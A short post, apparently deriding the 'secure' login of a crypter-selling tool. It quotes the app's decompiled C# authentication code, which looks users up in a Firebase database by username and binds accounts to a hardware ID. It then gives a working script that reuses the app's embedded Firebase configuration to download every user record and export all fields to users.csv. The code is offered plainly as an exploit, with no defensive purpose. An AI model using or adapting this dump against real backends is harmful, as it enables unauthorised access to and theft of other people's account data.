Their "secure" auth code:

if (string.IsNullOrWhiteSpace(TxtUsername.Text) && string.IsNullOrWhiteSpace(TxtPassword.Text))
{
    MessageBox.Show("Verify your information and Try Again", "Crypters And Tools", MessageBoxButtons.OK, MessageBoxIcon.Hand);
    return;
}
Users users = client.Get("Database/" + TxtUsername.Text).ResultAs();
if (users == null)
{
    MessageBox.Show("User does not exist!", "Crypters And Tools", MessageBoxButtons.OK, MessageBoxIcon.Hand);
    return;
}
string hardwareID = GetHardwareID();
if (Operators.CompareString(users.HadwareID, "0", TextCompare: false) == 0)
{
    await SetHardwareID(TxtUsername.Text, hardwareID);
}
Users users2 = client.Get("Database/" + TxtUsername.Text).ResultAs();

                            

client = new FirebaseClient((IFirebaseConfig)(object)fcon);
var allUsers = client.Get("Database").ResultAs>();

using (StreamWriter writer = new StreamWriter("users.csv"))
{
    bool headerWritten = false;

    foreach (var userEntry in allUsers)
    {
        var user = userEntry.Value;
        var properties = user.GetType().GetProperties();

        if (!headerWritten)
        {
            writer.WriteLine(string.Join(",", properties.Select(p => p.Name)));
            headerWritten = true;
        }

        var values = properties.Select(p => p.GetValue(user, null)?.ToString() ?? string.Empty);
        writer.WriteLine(string.Join(",", values));
    }
}